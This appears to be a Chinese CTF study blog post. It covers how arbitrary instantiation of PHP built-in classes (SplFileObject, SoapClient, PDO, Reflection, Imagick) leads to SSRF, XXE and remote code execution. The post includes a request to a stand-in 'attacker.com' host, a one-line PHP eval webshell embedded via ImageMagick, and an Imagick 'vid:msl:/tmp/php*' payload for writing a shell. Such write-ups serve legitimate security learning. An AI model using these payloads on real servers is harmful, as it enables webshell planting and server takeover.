前言
magick拓展的打法,建议看看
特征
- 存在此拓展之时,往往会留一个phpinfo等待查看
- 存在如下代码
1 | <?php |
当然,如果题目给了这个我们能做些什么呢?
这自然涉及到了built-in PHP classes
所有的内置类可以通过此代码查询
1 | var_dump(get_declared_classes()); |
这里再介绍一个绝招,可看这个地方https://www.php.net/manual/en/book.reflection.php
这里的Reflection类,当我们可以控制new时,且后续存在一些可控的手段,会有不少的方法去实现RCE,就像如下所说
1 | If you control multiple constructor parameters and can call arbitrary methods afterwards, there are many ways to get a Remote Code Execution. |
所以在这里,接着这个拓展的引子,我们稍微学一下该情况下的打法
当然,此前我们会利用到的一些内置类如下
https://www.extrader.top/posts/35c0085d/#%E5%8F%AF%E8%AF%BB%E5%8F%96%E6%96%87%E4%BB%B6%E7%B1%BB
除了关注一些读文件,列目录的原生类,也可以看一下比如xss的,删除文件的相关原生类打法
SoapClient
扩展
还记得
1 | new SplFileObject('http://attacker.com/'); |
对于这个类我们了解,它不止是简单发包,更是可以控制整个请求包,假如内网有Redis服务且泄露密钥,可以执行RCE写马,不过记忆里,好像必须执行一个不存在的方法来着?
这里有一个例子
1 | <?php |
我们简单测试一下构造函数
是可行的,但应该无法实现上述crlf攻击,只是简单一个get请求
这种情况下,还可以有一种打法,就是触发phar而进行反序列化 SSRFs in PHP < 8.0 could be turned into deserializations via techniques with the Phar protocol.
POD
扩展
https://www.runoob.com/php/php-pdo.html
PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。
PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。
PDO随PHP5.1发行,在PHP5.0的PECL扩展中也可以使用,无法运行于之前的PHP版本。
这里
1 | new PDO("sqlite:/tmp/test.txt") |
PDO构建器接受DSN字符串,允许我们通过安装的数据库扩展连接到任何本地或远程数据库。例如,SQLite 扩展可以创建空文件。
SoapClient/SimpleXMLElement XXE
In PHP ≤ 5.3.22 and ≤ 5.4.12, the constructor of SoapClient was vulnerable to XXE. The constructor of SimpleXMLElement was vulnerable to XXE as well, but it required libxml2 < 2.9.
学习
务必牢记,此心法首要为imagick拓展,然后续变化万千
这里也提一句,用Imagick去读文件可以绕过 open_basedir ,因为它的底层实现并不在php
核心
最简单的类同SoapClient,我们可以ssrf
但是自然不会止步于此,我们可以看看其他东西 if you could pass values such as “epsi:/local/path” or “msl:/local/path” to ImageMagick, it would use their scheme part, e.g., epsi or msl, to determine the file format.
MSL Format
简洁
1 | MSL全称是Magick Scripting Language |
利用
1 | MSL stands for Magick Scripting Language. |
关键就是一个read一个write, 有两个标签
1 | <?xml version="1.0" encoding="UTF-8"?> |
会把远程的图片转成当前的shell.php
但是ImageMagick在处理图片后,会导致丢失原始图片中的信息,所以使用图片马是无法成功写入Webshell的。
1 | 要解决这个问题也很简单,既然MSL是一门图片处理语言,我们就可以找找是否有方法在图片中增加一些“注释”。 |
1 | <?xml version="1.0" encoding="UTF-8"?> |
但是直接如下也不是不行(maybe)
1 | onvert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positive.png |
但其实关于作者Imagick’s Path Parsing的内容,我没太看明白,不过不影响我们的rce打法
嗯,现在的关键就是如何上传msl脚本了吧?这里要用到临时文件,这里作者给了几个方法,其中之一就是超级爆破,这个不说了,不过作者的一些前置处理值得学习
VID Scheme
这里可以用这个协议,使得可以利用通配符(这种临时文件的实现也体现在RCE绕过等等方面,比如如下的史诗级payload<?=. /t*/*;
class=Imagick&arg=vid:msl:/tmp/php*
甚至不止于此,若题目不出网,我们可以直接
1 | POST /?class=Imagick&arg=vid:msl:/tmp/php* HTTP/1.1 |
不过caption的使用依托于题目具体环境,有时候这个协议可能无法使用
结语
铸剑杯线下的考点,可惜我之前没听说过,感觉这样直接实现RCE?不过当时题目应该预期(或者也确实只能)上传文件,再通过某种方式拿到secret,进行劫持,这个洞vulhub是可以直接复现的